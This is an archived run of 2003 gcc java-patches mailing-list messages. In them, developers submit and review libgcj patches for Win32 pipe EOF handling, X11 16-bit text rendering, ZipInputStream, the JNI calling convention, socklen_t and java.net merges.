main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18if27-0002kY-00 for ; Tue, 11 Feb 2003 19:21:27 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18if12-0002fy-00 for ; Tue, 11 Feb 2003 19:20:20 +0100 From: Ranjit Mathew Subject: Patch: Indicate EOF on Win32 when ReadFile( ) returns with ERROR_BROKEN_PIPE Date: Tue, 11 Feb 2003 23:54:39 +0530 Lines: 66 Message-ID: <3E493FE7.94B4C7DD@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This patch proposes to change the read( ) methods in java/io/natFileDescriptorWin32.cc so that they return a -1 (EOF) when ReadFile( ) returns with a Win32 error code of ERROR_BROKEN_PIPE when reading from a pipe. This makes its behaviour similar to POSIX read( ) and ensures that a parent process reading from a child's output and error streams doesn't encounter an IOException when the child exits. This is how Sun's JDK behaves, at least on Win32. Ranjit. PS: How does one write ChangeLog entries for overloaded methods like read( ) in the following example? Index: ChangeLog from Ranjit Mathew * java/io/natFileDescriptorWin32.cc (java::io::FileDescriptor::read): Return -1 (EOF) if ReadFile( ) returns with Win32 error code ERROR_BROKEN_PIPE. Index: java/io/natFileDescriptorWin32.cc =================================================================== --- java/io/natFileDescriptorWin32.cc 2003-02-11 21:52:43.000000000 +0530 +++ java/io/natFileDescriptorWin32.cc 2003-02-11 21:56:38.000000000 +0530 @@ -1,5 +1,6 @@ // natFileDescriptorWin32.cc - Native part of FileDescriptor class. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software + Foundation, Inc. This file is part of libgcj. @@ -289,5 +290,11 @@ if (! ReadFile ((HANDLE)fd, &buf, 1, &read, NULL)) - throw new IOException (JvNewStringLatin1 (winerr ())); + { + if (GetLastError () == ERROR_BROKEN_PIPE) + return -1; + else + throw new IOException (JvNewStringLatin1 (winerr ())); + } + if (! read) return -1; @@ -314,7 +321,13 @@ DWORD read; if (! ReadFile((HANDLE)fd, bytes, count, &read, NULL)) - throw new IOException (JvNewStringLatin1 (winerr ())); + { + if (GetLastError () == ERROR_BROKEN_PIPE) + return -1; + else + throw new IOException (JvNewStringLatin1 (winerr ())); + } if (read == 0) return -1; + return (jint)read; } From java-patches-return-6068-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 18:28:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15432 invoked by alias); 11 Feb 2003 18:28:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15416 invoked from network); 11 Feb 2003 18:28:06 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 11 Feb 2003 18:28:06 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id D5D23427DC for ; Tue, 11 Feb 2003 13:30:46 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Tue, 11 Feb 2003 13:25:14 -0500 Message-ID: <02a701c2d1fa$fa2da600$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com> <87d6lzv4bg.fsf@fleche.redhat.com> Subject: Re: PATCH: xlib support for 16-bit characters when rendering text Date: Tue, 11 Feb 2003 13:25:38 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 > Scott> + return XTextWidth16(fontStruct, xwchars, length); tom> Is the argument to XTextWidth16 really UCS-2? tom> I'm wondering if it is locale dependent or something like that. tom> Do you have a reference to what is correct? tom> I'm concerned that this may work in some situations but not others. tom> In that case we'd need to use some other method to get the encoding tom> correct. As far as I can tell (this is all very new to me), the X...16 functions take 16-bit characters, rather than 2-byte sequences. In the XChar2b structure, byte 1 is defined as the "row" and byte 2 is the "column". I'm pretty sure, therefore that it is independent of the processor's endian-ness. The only concern I have is that it will map directly to the character set of the font you're using, which might not be unicode. I think solving that (i.e., re-mapping the characters from unicode to other encodings) would be a big job, but we could include a FIXME comment to that effect. In one of my other patches, I try to load a unicode font first, and only try other encodings if that fails. That should reduce the number of cases in which you get a different character than you're expecting. From java-patches-return-6069-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 20:57:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13084 invoked by alias); 11 Feb 2003 20:57:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13076 invoked from network); 11 Feb 2003 20:57:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 20:57:20 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA27706; Tue, 11 Feb 2003 13:57:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 87A904F8072; Tue, 11 Feb 2003 13:46:56 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Indicate EOF on Win32 when ReadFile( ) returns with ERROR_BROKEN_PIPE References: <3E493FE7.94B4C7DD@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I was giving HAIR CUTS to th' SAUCER PEOPLE .. I'm CLEAN!! Date: 11 Feb 2003 13:46:56 -0700 In-Reply-To: <3E493FE7.94B4C7DD@hotmail.com> Message-ID: <87znp2o88v.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch proposes to change the read( ) methods in Ranjit> java/io/natFileDescriptorWin32.cc so that they return a Ranjit> -1 (EOF) when ReadFile( ) returns with a Win32 error Ranjit> code of ERROR_BROKEN_PIPE when reading from a pipe. Looks good. I'm checking it in to 3.3 and 3.4. BTW this one applied cleanly. Ranjit> PS: How does one write ChangeLog entries for overloaded Ranjit> methods like read( ) in the following example? It depends. Sometimes I just write the plain name, like you did. If I want to emphasize which particular one I changed, I put the argument types in parens, like `foo(int,String)'. Tom From java-patches-return-6070-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 21:08:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23342 invoked by alias); 11 Feb 2003 21:08:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23327 invoked from network); 11 Feb 2003 21:08:22 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 21:08:22 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA30597; Tue, 11 Feb 2003 14:08:20 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 57EFC4F8072; Tue, 11 Feb 2003 13:57:59 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] References: <200302110844.41293.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Just imagine you're entering a state-of-the-art CAR WASH!! Date: 11 Feb 2003 13:57:58 -0700 In-Reply-To: <200302110844.41293.konqueror@gmx.de> Message-ID: <87vfzqo7qh.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commeted the attached patch to make java.nio compile. Michael> Tom: Perhaps this should go into 3.3 too. Done. Tom From java-patches-return-6071-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 21:14:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27139 invoked by alias); 11 Feb 2003 21:14:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27115 invoked from network); 11 Feb 2003 21:14:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 21:14:56 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA00357; Tue, 11 Feb 2003 14:14:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1262D4F8072; Tue, 11 Feb 2003 14:04:27 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] more java.nio stuff References: <200302111046.04828.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now, I think it would be GOOD to buy FIVE or SIX STUDEBAKERS and CRUISE for ARTIFICIAL FLAVORING!! Date: 11 Feb 2003 14:04:27 -0700 In-Reply-To: <200302111046.04828.konqueror@gmx.de> Message-ID: <87r8aeo7fo.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited another patch for java.nio. I'm putting this one in 3.3 as well. Tom From java-patches-return-6072-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 23:08:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9401 invoked by alias); 11 Feb 2003 23:08:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9393 invoked from network); 11 Feb 2003 23:08:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 23:08:27 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA32127; Tue, 11 Feb 2003 16:08:26 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AC0944F8072; Tue, 11 Feb 2003 15:58:06 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio and Makefile.am|in References: <200302111217.58158.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. Now KEN and BARBIE are PERMANENTLY ADDICTED to MIND-ALTERING DRUGS.. Date: 11 Feb 2003 15:58:06 -0700 In-Reply-To: <200302111217.58158.konqueror@gmx.de> Message-ID: <87wuk6mnlt.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> The last big patch for today commited. I've checked this in to 3.3. Thanks. Tom From java-patches-return-6073-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 01:24:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1807 invoked by alias); 12 Feb 2003 01:24:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1765 invoked from network); 12 Feb 2003 01:24:50 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 01:24:50 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA31056; Tue, 11 Feb 2003 18:24:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 307FA4F8072; Tue, 11 Feb 2003 18:14:23 -0700 (MST) To: Java Patch List Subject: Patch: FYI: ZipInputStream re-merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If this is the DATING GAME I want to know your FAVORITE PLANET! Do I get th' MICROWAVE MOPED? Date: 11 Feb 2003 18:14:23 -0700 Message-ID: <87smuumhao.fsf@fleche.redhat.com> Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This re-merges ZipInputStream with Classpath, bringing in a fixlet. Tom Index: ChangeLog from John Leuner * java/util/zip/ZipInputStream.java: idem Index: java/util/zip/ZipInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/zip/ZipInputStream.java,v retrieving revision 1.17 diff -u -r1.17 ZipInputStream.java --- java/util/zip/ZipInputStream.java 3 Dec 2002 22:06:31 -0000 1.17 +++ java/util/zip/ZipInputStream.java 12 Feb 2003 01:24:05 -0000 @@ -1,5 +1,5 @@ /* java.util.zip.ZipInputStream - Copyright (C) 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -286,6 +286,8 @@ */ public int read(byte[] b, int off, int len) throws IOException { + if (len == 0) + return 0; if (crc == null) throw new IOException("Stream closed."); if (entry == null) From java-patches-return-6074-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 01:45:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6871 invoked by alias); 12 Feb 2003 01:45:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6857 invoked from network); 12 Feb 2003 01:45:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Feb 2003 01:45:19 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA02739; Tue, 11 Feb 2003 18:45:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C92534F8072; Tue, 11 Feb 2003 18:34:58 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: [3.3] Patch ping: JNI ABI and Windows From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: How's the wife? Is she at home enjoying capitalism? Date: 11 Feb 2003 18:34:58 -0700 Message-ID: <87hebamgcd.fsf@fleche.redhat.com> Lines: 90 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ranjit submitted this patch a while back but it hasn't yet been approved. JNI is a Java-specific API and ABI. On Windows, JNI methods have to use the stdcall convention. In gcj we sometimes generate stubs that call these methods directly. In order for gcj to know that a given call must be stdcall, we need a new target macro. There is a corresponding patch to gcj that will go in separately. As it stands, JNI methods on Windows simply don't work. Ranjit has tested this patch (plus the gcj patch, of course) on Windows and verified that with it, JNI methods once again work. Ok for 3.3 and the trunk? Tom 2003-02-11 Ranjit Mathew * doc/tm.texi (MODIFY_JNI_METHOD_CALL): Document. * config/i386/cygwin.h (MODIFY_JNI_METHOD_CALL): New macro. Index: doc/tm.texi =================================================================== RCS file: /cvs/gcc/gcc/gcc/doc/tm.texi,v retrieving revision 1.182.2.3 diff -u -r1.182.2.3 tm.texi --- doc/tm.texi 31 Jan 2003 23:51:24 -0000 1.182.2.3 +++ doc/tm.texi 12 Feb 2003 01:41:08 -0000 @@ -1,4 +1,4 @@ -@c Copyright (C) 1988,1989,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002 +@c Copyright (C) 1988,1989,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003 @c Free Software Foundation, Inc. @c This is part of the GCC manual. @c For copying conditions, see the file gcc.texi. @@ -9130,6 +9130,22 @@ Define this macro for systems like AIX, where the linker discards object files that are not referenced from @code{main} and uses export lists. + +@findex MODIFY_JNI_METHOD_CALL +@item MODIFY_JNI_METHOD_CALL (@var{mdecl}) +Define this macro to a C expression representing a variant of the +method call @var{mdecl}, if Java Native Interface (JNI) methods +must be invoked differently from other methods on your target. +For example, on 32-bit Windows, JNI methods must be invoked using +the @code{stdcall} calling convention and this macro is then +defined as this expression: + +@smallexample +build_type_attribute_variant (@var{mdecl}, + build_tree_list + (get_identifier ("stdcall"), + NULL)) +@end smallexample @end table Index: config/i386/cygwin.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/config/i386/cygwin.h,v retrieving revision 1.75 diff -u -r1.75 cygwin.h --- config/i386/cygwin.h 5 Dec 2002 23:55:15 -0000 1.75 +++ config/i386/cygwin.h 12 Feb 2003 01:41:09 -0000 @@ -1,6 +1,6 @@ /* Operating system specific defines to be used when targeting GCC for hosting on Windows32, using a Unix style C library and tools. - Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002 + Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU CC. @@ -396,6 +396,15 @@ gen_rtx_SYMBOL_REF (Pmode, "_monstartup")), \ const0_rtx)); \ } + +/* Java Native Interface (JNI) methods on Win32 are invoked using the + stdcall calling convention. */ +#undef MODIFY_JNI_METHOD_CALL +#define MODIFY_JNI_METHOD_CALL(MDECL) \ + build_type_attribute_variant ((MDECL), \ + build_tree_list (get_identifier ("stdcall"), \ + NULL)) + /* External function declarations. */ From java-patches-return-6075-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 05:13:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30659 invoked by alias); 12 Feb 2003 05:13:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30651 invoked from network); 12 Feb 2003 05:13:23 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.191) by 172.16.49.205 with SMTP; 12 Feb 2003 05:13:23 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 11 Feb 2003 21:13:22 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Java Patches" References: <3E493FE7.94B4C7DD@hotmail.com> <87znp2o88v.fsf@fleche.redhat.com> Subject: Re: Patch: Indicate EOF on Win32 when ReadFile( ) returns with ERROR_BROKEN_PIPE Date: Wed, 12 Feb 2003 10:45:27 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 12 Feb 2003 05:13:22.0618 (UTC) FILETIME=[76C091A0:01C2D255] > BTW this one applied cleanly. Great! I used Netscape Messenger 4.8 this time instead of Mozilla Mail. For the benefit of others on this list - if you're using Mozilla Mail (or Netscape 6 or 7) beware of this bug: http://bugzilla.mozilla.org/show_bug.cgi?id=161091 This bug was causing an extra space to be inserted in lines that began with a space (as is normal in diff outputs), totally SNAFU-ing up the patches submitted by me. Ranjit. From java-patches-return-6076-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 06:55:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15446 invoked by alias); 12 Feb 2003 06:55:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15373 invoked from network); 12 Feb 2003 06:55:27 -0000 Received: from unknown (HELO gosset.megacz.com) (66.250.52.247) by 172.16.49.205 with SMTP; 12 Feb 2003 06:55:27 -0000 Received: from megacz by gosset.megacz.com with local (Exim 3.35 #1 (Debian)) id 18iqnn-0006o6-00 for ; Tue, 11 Feb 2003 22:55:27 -0800 To: java-patches@gcc.gnu.org Subject: added typedef for socklen_t to win32.h From: Adam Megacz X-Home-Page: http://www.megacz.com/ Organization: Myself Date: 11 Feb 2003 22:55:26 -0800 Message-ID: <868ywm9ee9.fsf@nowhere.com> Lines: 42 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Win32 doesn't define socklen_t; it thinks that accept() is: SOCKET PASCAL accept(SOCKET,struct sockaddr*,int*); Hence: I'd like to commit this to the 3.3 branch; without it, you can't crossbuild from Linux to Win32. Ok for branch? - a 2003-02-11 Adam Megacz * include/win32.h: added typedef for socklen_t Index: include/win32.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/win32.h,v retrieving revision 1.16.2.3 diff -u -r1.16.2.3 win32.h --- include/win32.h 28 Jan 2003 19:10:57 -0000 1.16.2.3 +++ include/win32.h 12 Feb 2003 06:54:06 -0000 @@ -28,6 +28,8 @@ #ifndef DISABLE_JAVA_NET +typedef int socklen_t; + // these errors cannot occur on Win32 #define ENOTCONN 0 #define ECONNRESET 0 -- "The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his education and his recreation, his love and his religion. He hardly knows which is which; he simply pursues his vision of excellence in whatever he does, leaving others to decide whether he is working or playing. To him he is always doing both." -- Zen Buddhist Text From java-patches-return-6077-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 07:01:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19560 invoked by alias); 12 Feb 2003 07:01:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19533 invoked from network); 12 Feb 2003 07:01:32 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.208) by 172.16.49.205 with SMTP; 12 Feb 2003 07:01:32 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 11 Feb 2003 23:01:31 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , "Adam Megacz" References: <868ywm9ee9.fsf@nowhere.com> Subject: Re: added typedef for socklen_t to win32.h Date: Wed, 12 Feb 2003 12:33:37 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 12 Feb 2003 07:01:31.0271 (UTC) FILETIME=[924A7170:01C2D264] > Win32 doesn't define socklen_t; it thinks that accept() is: > > SOCKET PASCAL accept(SOCKET,struct sockaddr*,int*); You might want to see this proposed patch before doing this: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00099.html Ranjit. From java-patches-return-6078-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 07:26:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27438 invoked by alias); 12 Feb 2003 07:26:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27411 invoked from network); 12 Feb 2003 07:26:11 -0000 Received: from unknown (HELO gosset.megacz.com) (66.250.52.247) by 172.16.49.205 with SMTP; 12 Feb 2003 07:26:11 -0000 Received: from megacz by gosset.megacz.com with local (Exim 3.35 #1 (Debian)) id 18irHW-0007K9-00 for ; Tue, 11 Feb 2003 23:26:10 -0800 To: Subject: Re: added typedef for socklen_t to win32.h References: <868ywm9ee9.fsf@nowhere.com> From: Adam Megacz X-Home-Page: http://www.megacz.com/ Organization: Myself Date: 11 Feb 2003 23:26:10 -0800 In-Reply-To: "Ranjit Mathew"'s message of "Wed, 12 Feb 2003 12:33:37 +0530" Message-ID: <86k7g6c63x.fsf@nowhere.com> Lines: 25 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cool; can we get this committed to the branch before it closes on 01-Mar? - a "Ranjit Mathew" writes: > > Win32 doesn't define socklen_t; it thinks that accept() is: > > > > SOCKET PASCAL accept(SOCKET,struct sockaddr*,int*); > > You might want to see this proposed patch before doing > this: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00099.html > > Ranjit. > -- "The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his education and his recreation, his love and his religion. He hardly knows which is which; he simply pursues his vision of excellence in whatever he does, leaving others to decide whether he is working or playing. To him he is always doing both." -- Zen Buddhist Text From java-patches-return-6079-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 08:01:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15256 invoked by alias); 12 Feb 2003 08:01:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15236 invoked from network); 12 Feb 2003 08:01:28 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 12 Feb 2003 08:01:28 -0000 Received: from 192.168.1.3 (dynadsl-080-228-67-109.ewetel.net [80.228.67.109]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1C81OGF002853 for ; Wed, 12 Feb 2003 09:01:25 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.net Date: Wed, 12 Feb 2003 08:54:49 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_J3fS+sLkcavQVSJ" Message-Id: <200302120854.52623.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_J3fS+sLkcavQVSJ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I wrote a little patch for java.net. Nothing intrusive. Mostly merges=20 with classpath. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Sf3MWSOgCCdjSDsRAstJAJ4ler8955lCK7HVXstn8bFGghBy7ACeM3gn tLy0F9IeHLilOfUKxW0+Csk=3D =3DUV/0 =2D----END PGP SIGNATURE----- --Boundary-00=_J3fS+sLkcavQVSJ Content-Type: text/x-diff; charset="iso-8859-15"; name="java-net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-net.diff" --- /home/mkoch/src/gcc-cvs/libjava/ChangeLog 2003-02-11 16:40:40.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/ChangeLog 2003-02-12 08:13:04.000000000 +0100 @@ -1,3 +1,16 @@ +2003-02-12 Michael Koch + + * java/net/NetPermission.java + (NetPermission): Make doucmentation match the method declaration. + * java/net/NetworkInterface.java + (equals): Reformated for GNU coding style. + * java/net/ServerSocket.java: Merged with classpath. + * java/net/Socket.java: Partly merged with classpath (Added some @since). + * java/net/SocketImpl.java + (localPort): Merged with classpath (initialize with -1). + * java/net/SocketPermission.java: Merged with classpath (reindented). + * java/net/URLDecoder.java: Merged with classpath (reindented). + 2003-02-11 Michael Koch * Makefile.in --- /home/mkoch/src/gcc-cvs/libjava/java/net/NetPermission.java 2003-01-14 22:47:08.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/NetPermission.java 2003-02-11 14:26:52.000000000 +0100 @@ -64,7 +64,7 @@ /** * Initializes a new instance of NetPermission with the - * specified name and value. Note that the value field is irrelevant and is + * specified name and perms. Note that the perms field is irrelevant and is * ignored. This constructor should never need to be used. * * @param name The name of this permission --- 